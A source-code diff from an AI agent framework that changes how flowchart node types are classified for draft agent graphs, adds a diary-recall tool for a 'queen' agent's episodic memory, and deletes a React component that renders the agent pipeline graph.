node["flowchart_shape"] = fc_meta["shape"]
node["flowchart_color"] = fc_meta["color"]
nodes.append(node)
# Add visual edges from parent nodes to their sub_agents.
# Sub-agents are connected via the sub_agents field, not via EdgeSpec,
# so they'd appear as disconnected islands without this.
# Two edges per sub-agent: delegate (parent→sub) and report (sub→parent).
edge_counter = len(edges)
for node in nodes:
for sa_id in node.get("sub_agents") or []:
if sa_id in node_ids:
edges.append(
{
"id": f"edge-subagent-{edge_counter}",
"source": node["id"],
"target": sa_id,
"condition": "always",
"description": "sub-agent delegation",
"label": "delegate",
}
)
edge_counter += 1
edges.append(
{
"id": f"edge-subagent-{edge_counter}",
"source": sa_id,
"target": node["id"],
"condition": "always",
"description": "sub-agent report back",
"label": "report",
}
)
edge_counter += 1
# Group sub-agent nodes under their parent in the flowchart map
# (mirrors what _dissolve_planning_nodes does for planned drafts)
sub_agent_ids: set[str] = set()
for node in nodes:
for sa_id in node.get("sub_agents") or []:
if sa_id in node_ids:
sub_agent_ids.add(sa_id)
fmap: dict[str, list[str]] = {}
for node in nodes:
nid = node["id"]
if nid in sub_agent_ids:
continue # skip — will be included via parent
absorbed = [nid]
for sa_id in node.get("sub_agents") or []:
if sa_id in node_ids:
absorbed.append(sa_id)
fmap[nid] = absorbed
draft = {
"agent_name": agent_name,
"goal": goal_name,
"description": "",
"success_criteria": [],
"constraints": [],
"nodes": nodes,
"edges": edges,
"entry_node": nodes[0]["id"] if nodes else "",
"terminal_nodes": sorted(terminal_ids),
"flowchart_legend": {
fc_type: {"shape": meta["shape"], "color": meta["color"]}
for fc_type, meta in _FLOWCHART_TYPES.items()
},
}
return draft, fmap
# --- Flowchart utilities ---------------------------------------------------
# Flowchart persistence, classification, and synthesis functions are now in
# framework.tools.flowchart_utils. Local aliases for backward compatibility
# within this closure:
_save_flowchart_file = save_flowchart_file
_load_flowchart_file = load_flowchart_file
_synthesize_draft_from_runtime = synthesize_draft_from_runtime
_classify_flowchart_node = classify_flowchart_node
# --- save_agent_draft (Planning phase — declarative graph preview) ---------
# Creates a lightweight draft graph with nodes, edges, and business metadata.
# Loose validation: only requires names and descriptions. Emits an event
# so the frontend can render the graph during planning (before any code).
def _classify_flowchart_node(
node: dict,
index: int,
total: int,
edges: list[dict],
terminal_ids: set[str],
) -> str:
"""Auto-detect the ISO 5807 flowchart type for a draft node.
Priority: explicit override > structural detection > heuristic > default.
"""
# Explicit override from the queen
explicit = node.get("flowchart_type", "").strip()
if explicit and explicit in _FLOWCHART_TYPES:
return explicit
node_id = node["id"]
node_type = node.get("node_type", "event_loop")
node_tools = set(node.get("tools") or [])
desc = (node.get("description") or "").lower()
name = (node.get("name") or "").lower()
# GCU / browser automation nodes → hexagon
if node_type == "gcu":
return "browser"
# Entry node (first node or no incoming edges) → start terminator
incoming = {e["target"] for e in edges}
if index == 0 or (node_id not in incoming and index == 0):
return "start"
# Terminal node → end terminator
if node_id in terminal_ids:
return "terminal"
# Decision node: has outgoing edges with branching conditions → diamond
outgoing = [e for e in edges if e["source"] == node_id]
if len(outgoing) >= 2:
conditions = {e.get("condition", "on_success") for e in outgoing}
if len(conditions) > 1 or conditions - {"on_success"}:
return "decision"
# Sub-agent / subprocess nodes → subroutine (double-bordered rect)
if node.get("sub_agents"):
return "subprocess"
# Database / data store nodes → cylinder
db_tool_hints = {
"query_database",
"sql_query",
"read_table",
"write_table",
"save_data",
"load_data",
}
db_desc_hints = {"database", "data store", "storage", "persist", "cache"}
if node_tools & db_tool_hints or any(h in desc for h in db_desc_hints):
return "database"
# Document generation nodes → document shape
doc_tool_hints = {
"generate_report",
"create_document",
"write_report",
"render_template",
"export_pdf",
}
doc_desc_hints = {"report", "document", "summary", "write up", "writeup"}
if node_tools & doc_tool_hints or any(h in desc for h in doc_desc_hints):
return "document"
# I/O nodes: external data ingestion or delivery → parallelogram
io_tool_hints = {
"serve_file_to_user",
"send_email",
"post_message",
"upload_file",
"download_file",
"fetch_url",
"post_to_slack",
"send_notification",
}
io_desc_hints = {"deliver", "send", "output", "notify", "publish"}
if node_tools & io_tool_hints or any(h in desc for h in io_desc_hints):
return "io"
# Manual / human-in-the-loop nodes → trapezoid
manual_desc_hints = {
"human review",
"manual",
"approval",
"human-in-the-loop",
"user review",
"manual check",
}
if any(h in desc for h in manual_desc_hints) or any(h in name for h in manual_desc_hints):
return "manual_operation"
# Preparation / setup nodes → hexagon
prep_desc_hints = {"setup", "initialize", "prepare", "configure", "provision"}
if any(h in desc for h in prep_desc_hints) or any(h in name for h in prep_desc_hints):
return "preparation"
# Delay / wait nodes → D-shape
delay_desc_hints = {"wait", "delay", "pause", "cooldown", "throttle", "sleep"}
if any(h in desc for h in delay_desc_hints):
return "delay"
# Merge nodes → inverted triangle
merge_desc_hints = {"merge", "combine", "aggregate", "consolidate"}
if any(h in desc for h in merge_desc_hints) or any(h in name for h in merge_desc_hints):
return "merge"
# Display nodes → display shape
display_desc_hints = {"display", "show", "present", "render", "visualize"}
display_tool_hints = {"serve_file_to_user", "display_results"}
if node_tools & display_tool_hints or any(h in name for h in display_desc_hints):
return "display"
# Default: process (rectangle)
return "process"
def _dissolve_planning_nodes(
draft: dict,
) -> tuple[dict, dict[str, list[str]]]:
@@ -1535,7 +1204,7 @@ def register_queen_lifecycle_tools(
if not predecessors:
# Decision at start: convert to regular process node
d_node["flowchart_type"] = "process"
fc_meta = _FLOWCHART_TYPES["process"]
fc_meta = FLOWCHART_TYPES["process"]
d_node["flowchart_shape"] = fc_meta["shape"]
d_node["flowchart_color"] = fc_meta["color"]
if not d_node.get("success_criteria"):
@@ -2087,7 +1756,7 @@ def register_queen_lifecycle_tools(
validated_edges,
terminal_ids,
)
fc_meta = _FLOWCHART_TYPES[fc_type]
fc_meta = FLOWCHART_TYPES[fc_type]
node["flowchart_type"] = fc_type
node["flowchart_shape"] = fc_meta["shape"]
node["flowchart_color"] = fc_meta["color"]
@@ -2105,7 +1774,7 @@ def register_queen_lifecycle_tools(
# Color legend for the frontend
"flowchart_legend": {
fc_type: {"shape": meta["shape"], "color": meta["color"]}
for fc_type, meta in _FLOWCHART_TYPES.items()
for fc_type, meta in FLOWCHART_TYPES.items()
},
}
@@ -2276,39 +1945,18 @@ def register_queen_lifecycle_tools(
"decision",
"io",
"document",
"multi_document",
"subprocess",
"preparation",
"manual_input",
"manual_operation",
"delay",
"display",
"database",
"stored_data",
"internal_storage",
"connector",
"offpage_connector",
"merge",
"extract",
"sort",
"collate",
"summing_junction",
"or",
"subprocess",
"browser",
"comment",
"alternate_process",
],
"description": (
"ISO 5807 flowchart symbol type. Auto-detected if omitted. "
"Core: start (green stadium), terminal (red stadium), "
"process (blue rect), decision (amber diamond), "
"io (purple parallelogram), document (grey wavy rect), "
"subprocess (teal subroutine), preparation (brown hexagon), "
"manual_operation (pink trapezoid), delay (orange D-shape), "
"display (cyan), database (green cylinder), "
"merge (indigo triangle), browser (dark indigo hexagon — "
"for GCU/browser sub-agents; must be a leaf node connected "
"only to its managing parent)"
"Flowchart symbol type. Auto-detected if omitted. "
"start (sage green stadium), terminal (dusty red stadium), "
"process (blue-gray rect), decision (amber diamond), "
"io (purple parallelogram), document (steel blue wavy rect), "
"database (teal cylinder), subprocess (cyan subroutine), "
"browser (deep blue hexagon — for GCU/browser "
"sub-agents; must be a leaf node)"
),
},
"tools": {
+66 -4
View File
@@ -1,8 +1,9 @@
"""Tool for the queen to write to her episodic memory.
"""Tools for the queen to read and write episodic memory.
The queen can consciously record significant moments during a session like
writing in a diary. Semantic memory (MEMORY.md) is updated automatically at
session end and is never written by the queen directly.
writing in a diary and recall past diary entries when needed. Semantic
memory (MEMORY.md) is updated automatically at session end and is never
written by the queen directly.
"""
from __future__ import annotations
@@ -33,6 +34,67 @@ def write_to_diary(entry: str) -> str:
return "Diary entry recorded."
def recall_diary(query: str = "", days_back: int = 7) -> str:
"""Search recent diary entries (episodic memory).
Use this when the user asks about what happened in the past "what did we
do yesterday?", "what happened last week?", "remind me about the pipeline
issue", etc. Also use it proactively when you need context from recent
sessions to answer a question or make a decision.
Args:
query: Optional keyword or phrase to filter entries. If empty, all
recent entries are returned.
days_back: How many days to look back (130). Defaults to 7.
"""
from datetime import date, timedelta
from framework.agents.queen.queen_memory import read_episodic_memory
days_back = max(1, min(days_back, 30))
today = date.today()
results: list[str] = []
total_chars = 0
char_budget = 12_000
for offset in range(days_back):
d = today - timedelta(days=offset)
content = read_episodic_memory(d)
if not content:
continue
# If a query is given, only include entries that mention it
if query:
# Check each section (split by ###) for relevance
sections = content.split("### ")
matched = [s for s in sections if query.lower() in s.lower()]
if not matched:
continue
content = "### ".join(matched)
label = d.strftime("%B %-d, %Y")
if d == today:
label = f"Today — {label}"
entry = f"## {label}\n\n{content}"
if total_chars + len(entry) > char_budget:
remaining = char_budget - total_chars
if remaining > 200:
# Fit a partial entry within budget
trimmed = content[: remaining - 100] + "\n\n…(truncated)"
results.append(f"## {label}\n\n{trimmed}")
else:
results.append(f"## {label}\n\n(truncated — hit size limit)")
break
results.append(entry)
total_chars += len(entry)
if not results:
if query:
return f"No diary entries matching '{query}' in the last {days_back} days."
return f"No diary entries found in the last {days_back} days."
return "\n\n---\n\n".join(results)
def register_queen_memory_tools(registry: ToolRegistry) -> None:
"""Register the episodic memory tool into the queen's tool registry."""
"""Register the episodic memory tools into the queen's tool registry."""
registry.register_function(write_to_diary)
registry.register_function(recall_diary)
-770
View File
@@ -1,770 +0,0 @@
import { memo, useMemo, useState, useRef, useEffect, useCallback } from "react";
import { Play, Pause, Loader2, CheckCircle2 } from "lucide-react";
export type NodeStatus = "running" | "complete" | "pending" | "error" | "looping";
export type NodeType = "execution" | "trigger";
export interface GraphNode {
id: string;
label: string;
status: NodeStatus;
nodeType?: NodeType;
triggerType?: string;
triggerConfig?: Record<string, unknown>;
next?: string[];
backEdges?: string[];
iterations?: number;
maxIterations?: number;
statusLabel?: string;
edgeLabels?: Record<string, string>;
}
export type RunState = "idle" | "deploying" | "running";
interface AgentGraphProps {
nodes: GraphNode[];
title: string;
onNodeClick?: (node: GraphNode) => void;
onRun?: () => void;
onPause?: () => void;
version?: string;
runState?: RunState;
building?: boolean;
queenPhase?: "planning" | "building" | "staging" | "running";
}
// --- Extracted RunButton so hover state survives parent re-renders ---
export interface RunButtonProps {
runState: RunState;
disabled: boolean;
onRun: () => void;
onPause: () => void;
btnRef: React.Ref<HTMLButtonElement>;
}
export const RunButton = memo(function RunButton({ runState, disabled, onRun, onPause, btnRef }: RunButtonProps) {
const [hovered, setHovered] = useState(false);
const showPause = runState === "running" && hovered;
return (
<button
ref={btnRef}
onClick={runState === "running" ? onPause : onRun}
disabled={runState === "deploying" || disabled}
onMouseEnter={() => setHovered(true)}
onMouseLeave={() => setHovered(false)}
className={`flex items-center gap-1.5 px-2.5 py-1 rounded-md text-[11px] font-semibold transition-all duration-200 ${
showPause
? "bg-amber-500/15 text-amber-400 border border-amber-500/40 hover:bg-amber-500/25 active:scale-95 cursor-pointer"
: runState === "running"
? "bg-green-500/15 text-green-400 border border-green-500/30 cursor-pointer"
: runState === "deploying"
? "bg-primary/10 text-primary border border-primary/20 cursor-default"
: disabled
? "bg-muted/30 text-muted-foreground/40 border border-border/20 cursor-not-allowed"
: "bg-primary/10 text-primary border border-primary/20 hover:bg-primary/20 hover:border-primary/40 active:scale-95"
}`}
>
{runState === "deploying" ? (
<Loader2 className="w-3 h-3 animate-spin" />
) : showPause ? (
<Pause className="w-3 h-3 fill-current" />
) : runState === "running" ? (
<CheckCircle2 className="w-3 h-3" />
) : (
<Play className="w-3 h-3 fill-current" />
)}
{runState === "deploying" ? "Deploying\u2026" : showPause ? "Pause" : runState === "running" ? "Running" : "Run"}
</button>
);
});
const NODE_W_MAX = 180;
const NODE_H = 44;
const GAP_Y = 48;
const TOP_Y = 30;
const MARGIN_LEFT = 20;
const MARGIN_RIGHT = 50; // space for back-edge arcs
const SVG_BASE_W = 320;
const GAP_X = 12;
// Read a CSS custom property value (space-separated HSL components)
function cssVar(name: string): string {
return getComputedStyle(document.documentElement).getPropertyValue(name).trim();
}
type StatusColorSet = Record<NodeStatus, { dot: string; bg: string; border: string; glow: string }>;
type TriggerColorSet = { bg: string; border: string; text: string; icon: string };
function buildStatusColors(): StatusColorSet {
const running = cssVar("--node-running") || "45 95% 58%";
const looping = cssVar("--node-looping") || "38 90% 55%";
const complete = cssVar("--node-complete") || "43 70% 45%";
const pending = cssVar("--node-pending") || "35 15% 28%";
const pendingBg = cssVar("--node-pending-bg") || "35 10% 12%";
const pendingBorder = cssVar("--node-pending-border") || "35 10% 20%";
const error = cssVar("--node-error") || "0 65% 55%";
return {
running: {
dot: `hsl(${running})`,
bg: `hsl(${running} / 0.08)`,
border: `hsl(${running} / 0.5)`,
glow: `hsl(${running} / 0.15)`,
},
looping: {
dot: `hsl(${looping})`,
bg: `hsl(${looping} / 0.08)`,
border: `hsl(${looping} / 0.5)`,
glow: `hsl(${looping} / 0.15)`,
},
complete: {
dot: `hsl(${complete})`,
bg: `hsl(${complete} / 0.05)`,
border: `hsl(${complete} / 0.25)`,
glow: "none",
},
pending: {
dot: `hsl(${pending})`,
bg: `hsl(${pendingBg})`,
border: `hsl(${pendingBorder})`,
glow: "none",
},
error: {
dot: `hsl(${error})`,
bg: `hsl(${error} / 0.06)`,
border: `hsl(${error} / 0.3)`,
glow: `hsl(${error} / 0.1)`,
},
};
}
function buildTriggerColors(): TriggerColorSet {
const bg = cssVar("--trigger-bg") || "210 25% 14%";
const border = cssVar("--trigger-border") || "210 30% 30%";
const text = cssVar("--trigger-text") || "210 30% 65%";
const icon = cssVar("--trigger-icon") || "210 40% 55%";
return {
bg: `hsl(${bg})`,
border: `hsl(${border})`,
text: `hsl(${text})`,
icon: `hsl(${icon})`,
};
}
/** Hook that reads node/trigger colors from CSS vars and updates on theme changes. */
function useThemeColors() {
const [statusColors, setStatusColors] = useState<StatusColorSet>(buildStatusColors);
const [triggerColors, setTriggerColors] = useState<TriggerColorSet>(buildTriggerColors);
useEffect(() => {
const rebuild = () => {
setStatusColors(buildStatusColors());
setTriggerColors(buildTriggerColors());
};
const obs = new MutationObserver(rebuild);
obs.observe(document.documentElement, { attributes: true, attributeFilter: ["class", "style"] });
return () => obs.disconnect();
}, []);
return { statusColors, triggerColors };
}
// Active trigger — brighter, more saturated blue
const activeTriggerColors = {
bg: "hsl(210,30%,18%)",
border: "hsl(210,50%,50%)",
text: "hsl(210,40%,75%)",
icon: "hsl(210,60%,65%)",
};
const triggerIcons: Record<string, string> = {
webhook: "\u26A1", // lightning bolt
timer: "\u23F1", // stopwatch
api: "\u2192", // right arrow
event: "\u223F", // sine wave
};
/** Truncate label to fit within `availablePx` at the given fontSize. */
function truncateLabel(label: string, availablePx: number, fontSize: number): string {
const avgCharW = fontSize * 0.58;
const maxChars = Math.floor(availablePx / avgCharW);
if (label.length <= maxChars) return label;
return label.slice(0, Math.max(maxChars - 1, 1)) + "\u2026";
}
// ─── Pan & Zoom wrapper ───
function PanZoomSvg({ svgW, svgH, className, children }: { svgW: number; svgH: number; className?: string; children: React.ReactNode }) {
const [zoom, setZoom] = useState(1);
const [pan, setPan] = useState({ x: 0, y: 0 });
const [dragging, setDragging] = useState(false);
const dragStart = useRef({ x: 0, y: 0, panX: 0, panY: 0 });
const MIN_ZOOM = 0.4;
const MAX_ZOOM = 3;
const handleWheel = useCallback((e: React.WheelEvent) => {
e.preventDefault();
const delta = e.deltaY > 0 ? 0.9 : 1.1;
setZoom(z => Math.min(MAX_ZOOM, Math.max(MIN_ZOOM, z * delta)));
}, []);
const handleMouseDown = useCallback((e: React.MouseEvent) => {
if (e.button !== 0) return;
setDragging(true);
dragStart.current = { x: e.clientX, y: e.clientY, panX: pan.x, panY: pan.y };
}, [pan]);
const handleMouseMove = useCallback((e: React.MouseEvent) => {
if (!dragging) return;
setPan({
x: dragStart.current.panX + (e.clientX - dragStart.current.x),
y: dragStart.current.panY + (e.clientY - dragStart.current.y),
});
}, [dragging]);
const handleMouseUp = useCallback(() => setDragging(false), []);
const resetView = useCallback(() => {
setZoom(1);
setPan({ x: 0, y: 0 });
}, []);
return (
<div className="flex-1 relative overflow-hidden px-1 pb-5">
<div
onWheel={handleWheel}
onMouseDown={handleMouseDown}
onMouseMove={handleMouseMove}
onMouseUp={handleMouseUp}
onMouseLeave={handleMouseUp}
className="w-full h-full"
style={{ cursor: dragging ? "grabbing" : "grab" }}
>
<svg
width="100%"
viewBox={`0 0 ${svgW} ${svgH}`}
preserveAspectRatio="xMidYMin meet"
className={`select-none ${className || ""}`}
style={{
fontFamily: "'Inter', system-ui, sans-serif",
transform: `translate(${pan.x}px, ${pan.y}px) scale(${zoom})`,
transformOrigin: "center top",
}}
>
{children}
</svg>
</div>
{/* Zoom controls */}
<div className="absolute bottom-7 right-3 flex items-center gap-1 bg-card/80 backdrop-blur-sm border border-border/40 rounded-lg p-0.5 shadow-sm">
<button
onClick={() => setZoom(z => Math.min(MAX_ZOOM, z * 1.2))}
className="w-6 h-6 flex items-center justify-center rounded text-muted-foreground hover:text-foreground hover:bg-muted/60 transition-colors text-xs font-bold"
aria-label="Zoom in"
>+</button>
<button
onClick={resetView}
className="px-1.5 h-6 flex items-center justify-center rounded text-[10px] font-mono text-muted-foreground hover:text-foreground hover:bg-muted/60 transition-colors"
aria-label="Reset zoom"
>{Math.round(zoom * 100)}%</button>
<button
onClick={() => setZoom(z => Math.max(MIN_ZOOM, z * 0.8))}
className="w-6 h-6 flex items-center justify-center rounded text-muted-foreground hover:text-foreground hover:bg-muted/60 transition-colors text-xs font-bold"
aria-label="Zoom out"
>{"\u2212"}</button>
</div>
</div>
);
}
export default function AgentGraph({ nodes, title: _title, onNodeClick, onRun, onPause, version, runState: externalRunState, building, queenPhase }: AgentGraphProps) {
const [localRunState, setLocalRunState] = useState<RunState>("idle");
const runState = externalRunState ?? localRunState;
const runBtnRef = useRef<HTMLButtonElement>(null);
const { statusColors, triggerColors } = useThemeColors();
const handleRun = () => {
if (runState !== "idle") return;
if (onRun) {
onRun();
} else {
setLocalRunState("deploying");
setTimeout(() => setLocalRunState("running"), 1800);
setTimeout(() => setLocalRunState("idle"), 5000);
}
};
const idxMap = useMemo(() => Object.fromEntries(nodes.map((n, i) => [n.id, i])), [nodes]);
const backEdges = useMemo(() => {
const edges: { fromIdx: number; toIdx: number }[] = [];
nodes.forEach((n, i) => {
(n.next || []).forEach((toId) => {
const toIdx = idxMap[toId];
if (toIdx !== undefined && toIdx <= i) edges.push({ fromIdx: i, toIdx });
});
(n.backEdges || []).forEach((toId) => {
const toIdx = idxMap[toId];
if (toIdx !== undefined) edges.push({ fromIdx: i, toIdx });
});
});
return edges;
}, [nodes, idxMap]);
const forwardEdges = useMemo(() => {
const edges: { fromIdx: number; toIdx: number; fanCount: number; fanIndex: number; label?: string }[] = [];
nodes.forEach((n, i) => {
const targets = (n.next || [])
.map((toId) => ({ toId, toIdx: idxMap[toId] }))
.filter((t): t is { toId: string; toIdx: number } => t.toIdx !== undefined && t.toIdx > i);
targets.forEach(({ toId, toIdx }, fi) => {
edges.push({
fromIdx: i,
toIdx,
fanCount: targets.length,
fanIndex: fi,
label: n.edgeLabels?.[toId],
});
});
});
return edges;
}, [nodes, idxMap]);
// --- Layer-based layout computation ---
const layout = useMemo(() => {
if (nodes.length === 0) {
return { layers: [] as number[], cols: [] as number[], maxCols: 1, nodeW: NODE_W_MAX, colSpacing: 0, firstColX: MARGIN_LEFT };
}
// 1. Build reverse adjacency from forward edges (who are the parents of each node)
const parents = new Map<number, number[]>();
nodes.forEach((_, i) => parents.set(i, []));
forwardEdges.forEach((e) => {
parents.get(e.toIdx)!.push(e.fromIdx);
});
// 2. Assign layers via longest-path from entry
const layers = new Array(nodes.length).fill(0);
for (let i = 0; i < nodes.length; i++) {
const pars = parents.get(i) || [];
if (pars.length > 0) {
layers[i] = Math.max(...pars.map((p) => layers[p])) + 1;
}
}
// 3. Group nodes by layer
const layerGroups = new Map<number, number[]>();
layers.forEach((l, i) => {
const group = layerGroups.get(l) || [];
group.push(i);
layerGroups.set(l, group);
});
// 4. Compute max columns and dynamic node width
let maxCols = 1;
layerGroups.forEach((group) => {
maxCols = Math.max(maxCols, group.length);
});
const usableW = SVG_BASE_W - MARGIN_LEFT - MARGIN_RIGHT;
const nodeW = Math.min(NODE_W_MAX, Math.floor((usableW - (maxCols - 1) * GAP_X) / maxCols));
const colSpacing = nodeW + GAP_X;
const totalNodesW = maxCols * nodeW + (maxCols - 1) * GAP_X;
const firstColX = MARGIN_LEFT + (usableW - totalNodesW) / 2;
// 5. Assign columns within each layer (centered, ordered by parent column)
const cols = new Array(nodes.length).fill(0);
layerGroups.forEach((group) => {
if (group.length === 1) {
// Center single node: place at middle column
cols[group[0]] = (maxCols - 1) / 2;
} else {
// Sort group by average parent column to reduce crossings
const sorted = [...group].sort((a, b) => {
const aParents = parents.get(a) || [];
const bParents = parents.get(b) || [];
const aAvg = aParents.length > 0 ? aParents.reduce((s, p) => s + cols[p], 0) / aParents.length : 0;
const bAvg = bParents.length > 0 ? bParents.reduce((s, p) => s + cols[p], 0) / bParents.length : 0;
return aAvg - bAvg;
});
// Spread evenly, centered within maxCols
const offset = (maxCols - group.length) / 2;
sorted.forEach((nodeIdx, i) => {
cols[nodeIdx] = offset + i;
});
}
});
return { layers, cols, maxCols, nodeW, colSpacing, firstColX };
}, [nodes, forwardEdges]);
if (nodes.length === 0) {
return (
<div className="flex flex-col h-full">
<div className="px-5 pt-4 pb-2 flex items-center justify-between">
<div className="flex items-center gap-2">
<p className="text-[11px] text-muted-foreground font-medium uppercase tracking-wider">Pipeline</p>
{version && (
<span className="text-[10px] font-mono font-medium text-muted-foreground/60 border border-border/30 rounded px-1 py-0.5 leading-none">
{version}
</span>
)}
</div>
<RunButton runState={runState} disabled={nodes.length === 0 || queenPhase === "building" || queenPhase === "planning"} onRun={handleRun} onPause={onPause ?? (() => {})} btnRef={runBtnRef} />
</div>
<div className="flex-1 flex items-center justify-center px-5">
{building ? (
<div className="flex flex-col items-center gap-3">
<Loader2 className="w-6 h-6 animate-spin text-primary/60" />
<p className="text-xs text-muted-foreground/80 text-center">Building agent...</p>
</div>
) : (
<p className="text-xs text-muted-foreground/60 text-center italic">No pipeline configured yet.<br/>Chat with the Queen to get started.</p>
)}
</div>
</div>
);
}
const { layers, cols, nodeW, colSpacing, firstColX } = layout;
const nodePos = (i: number) => ({
x: firstColX + cols[i] * colSpacing,
y: TOP_Y + layers[i] * (NODE_H + GAP_Y),
});
const maxLayer = nodes.length > 0 ? Math.max(...layers) : 0;
const svgHeight = TOP_Y * 2 + (maxLayer + 1) * NODE_H + maxLayer * GAP_Y + 10;
const backEdgeSpace = backEdges.length > 0 ? MARGIN_RIGHT + backEdges.length * 18 : 20;
const svgWidth = Math.max(SVG_BASE_W, firstColX + layout.maxCols * nodeW + (layout.maxCols - 1) * GAP_X + backEdgeSpace);
// Check if a skip-level forward edge would collide with intermediate nodes
const hasCollision = (fromLayer: number, toLayer: number, fromX: number, toX: number): boolean => {
const minX = Math.min(fromX, toX);
const maxX = Math.max(fromX, toX) + nodeW;
for (let i = 0; i < nodes.length; i++) {
const l = layers[i];
if (l > fromLayer && l < toLayer) {
const nx = firstColX + cols[i] * colSpacing;
// Check horizontal overlap
if (nx < maxX && nx + nodeW > minX) return true;
}
}
return false;
};
const renderForwardEdge = (edge: { fromIdx: number; toIdx: number; fanCount: number; fanIndex: number; label?: string }, i: number) => {
const from = nodePos(edge.fromIdx);
const to = nodePos(edge.toIdx);
const fromCenterX = from.x + nodeW / 2;
const toCenterX = to.x + nodeW / 2;
const y1 = from.y + NODE_H;
const y2 = to.y;
// Fan-out: spread exit points across the source node's bottom
let startX = fromCenterX;
if (edge.fanCount > 1) {
const spread = nodeW * 0.5;
const step = edge.fanCount > 1 ? spread / (edge.fanCount - 1) : 0;
startX = fromCenterX - spread / 2 + edge.fanIndex * step;
}
const midY = (y1 + y2) / 2;
const fromLayer = layers[edge.fromIdx];
const toLayer = layers[edge.toIdx];
const skipsLayers = toLayer - fromLayer > 1;
let d: string;
if (skipsLayers && hasCollision(fromLayer, toLayer, from.x, to.x)) {
// Route around intermediate nodes: orthogonal detour to the left
const detourX = Math.min(from.x, to.x) - nodeW * 0.4;
d = `M ${startX} ${y1} L ${startX} ${midY} L ${detourX} ${midY} L ${detourX} ${y2 - 10} L ${toCenterX} ${y2 - 10} L ${toCenterX} ${y2}`;
} else if (Math.abs(startX - toCenterX) < 2) {
// Straight vertical line when aligned
d = `M ${startX} ${y1} L ${toCenterX} ${y2}`;
} else {
// Orthogonal: down, across, down
d = `M ${startX} ${y1} L ${startX} ${midY} L ${toCenterX} ${midY} L ${toCenterX} ${y2}`;
}
const fromNode = nodes[edge.fromIdx];
const isActive = fromNode.status === "complete" || fromNode.status === "running" || fromNode.status === "looping";
const strokeColor = isActive ? statusColors.complete.border : statusColors.pending.border;
const arrowColor = isActive ? statusColors.complete.dot : statusColors.pending.border;
return (
<g key={`fwd-${i}`}>
<path d={d} fill="none" stroke={strokeColor} strokeWidth={1.5} />
<polygon
points={`${toCenterX - 4},${y2 - 6} ${toCenterX + 4},${y2 - 6} ${toCenterX},${y2 - 1}`}
fill={arrowColor}
/>
{edge.label && (
<text
x={(startX + toCenterX) / 2 + 8}
y={midY - 2}
fill={statusColors.pending.dot}
fontSize={9}
fontStyle="italic"
>
{edge.label}
</text>
)}
</g>
);
};
const renderBackEdge = (edge: { fromIdx: number; toIdx: number }, i: number) => {
const from = nodePos(edge.fromIdx);
const to = nodePos(edge.toIdx);
const rightX = Math.max(from.x, to.x) + nodeW;
const rightOffset = 28 + i * 18;
const startX = from.x + nodeW;
const startY = from.y + NODE_H / 2;
const endX = to.x + nodeW;
const endY = to.y + NODE_H / 2;
const curveX = rightX + rightOffset;
const r = 12;
const fromNode = nodes[edge.fromIdx];
const isActive = fromNode.status === "complete" || fromNode.status === "running" || fromNode.status === "looping";
const color = isActive ? statusColors.looping.border : statusColors.pending.border;
// Bezier curve with rounded corners (kept as curves for back edges)
const path = `M ${startX} ${startY} C ${startX + r} ${startY}, ${curveX} ${startY}, ${curveX} ${startY - r} L ${curveX} ${endY + r} C ${curveX} ${endY}, ${endX + r} ${endY}, ${endX + 6} ${endY}`;
return (
<g key={`back-${i}`}>
<path d={path} fill="none" stroke={color} strokeWidth={1.5} strokeDasharray="4 3" />
<polygon
points={`${endX + 6},${endY - 3} ${endX + 6},${endY + 3} ${endX},${endY}`}
fill={isActive ? statusColors.looping.dot : statusColors.pending.border}
/>
</g>
);
};
const renderTriggerNode = (node: GraphNode, i: number) => {
const pos = nodePos(i);
const icon = triggerIcons[node.triggerType || ""] || "\u26A1";
const triggerFontSize = nodeW < 140 ? 10.5 : 11.5;
const triggerAvailW = nodeW - 38;
const triggerDisplayLabel = truncateLabel(node.label, triggerAvailW, triggerFontSize);
const nextFireIn = node.triggerConfig?.next_fire_in as number | undefined;
const isActive = node.status === "running" || node.status === "complete";
const colors = isActive ? activeTriggerColors : triggerColors;
// Format countdown for display below node
let countdownLabel: string | null = null;
if (isActive && nextFireIn != null && nextFireIn > 0) {
const h = Math.floor(nextFireIn / 3600);
const m = Math.floor((nextFireIn % 3600) / 60);
const s = Math.floor(nextFireIn % 60);
countdownLabel = h > 0
? `next in ${h}h ${String(m).padStart(2, "0")}m`
: `next in ${m}m ${String(s).padStart(2, "0")}s`;
}
// Status label below countdown
const statusLabel = isActive ? "active" : "inactive";
const statusColor = isActive ? "hsl(140,40%,50%)" : "hsl(210,20%,40%)";
return (
<g key={node.id} onClick={() => onNodeClick?.(node)} style={{ cursor: onNodeClick ? "pointer" : "default" }}>
<title>{node.label}</title>
{/* Pill-shaped background — solid border when active, dashed when inactive */}
<rect
x={pos.x} y={pos.y}
width={nodeW} height={NODE_H}
rx={NODE_H / 2}
fill={colors.bg}
stroke={colors.border}
strokeWidth={isActive ? 1.5 : 1}
strokeDasharray={isActive ? undefined : "4 2"}
/>
{/* Trigger type icon */}
<text
x={pos.x + 18} y={pos.y + NODE_H / 2}
fill={colors.icon} fontSize={13}
textAnchor="middle" dominantBaseline="middle"
>
{icon}
</text>
{/* Label */}
<text
x={pos.x + 32} y={pos.y + NODE_H / 2}
fill={colors.text}
fontSize={triggerFontSize}
fontWeight={500}
dominantBaseline="middle"
letterSpacing="0.01em"
>
{triggerDisplayLabel}
</text>
{/* Countdown label below node */}
{countdownLabel && (
<text
x={pos.x + nodeW / 2} y={pos.y + NODE_H + 13}
fill={triggerColors.text} fontSize={9.5}
textAnchor="middle" fontStyle="italic" opacity={0.7}
>
{countdownLabel}
</text>
)}
{/* Status label */}
<text
x={pos.x + nodeW / 2} y={pos.y + NODE_H + (countdownLabel ? 25 : 13)}
fill={statusColor} fontSize={9}
textAnchor="middle" opacity={0.8}
>
{statusLabel}
</text>
</g>
);
};
const renderNode = (node: GraphNode, i: number) => {
if (node.nodeType === "trigger") return renderTriggerNode(node, i);
const pos = nodePos(i);
const isActive = node.status === "running" || node.status === "looping";
const isDone = node.status === "complete";
const colors = statusColors[node.status];
const fontSize = nodeW < 140 ? 10.5 : 12.5;
const labelAvailW = nodeW - 38;
const displayLabel = truncateLabel(node.label, labelAvailW, fontSize);
return (
<g key={node.id} onClick={() => onNodeClick?.(node)} style={{ cursor: onNodeClick ? "pointer" : "default" }}>
<title>{node.label}</title>
{/* Ambient glow for active nodes */}
{isActive && (
<>
<rect
x={pos.x - 4} y={pos.y - 4}
width={nodeW + 8} height={NODE_H + 8}
rx={16} fill={colors.glow}
/>
<rect
x={pos.x - 2} y={pos.y - 2}
width={nodeW + 4} height={NODE_H + 4}
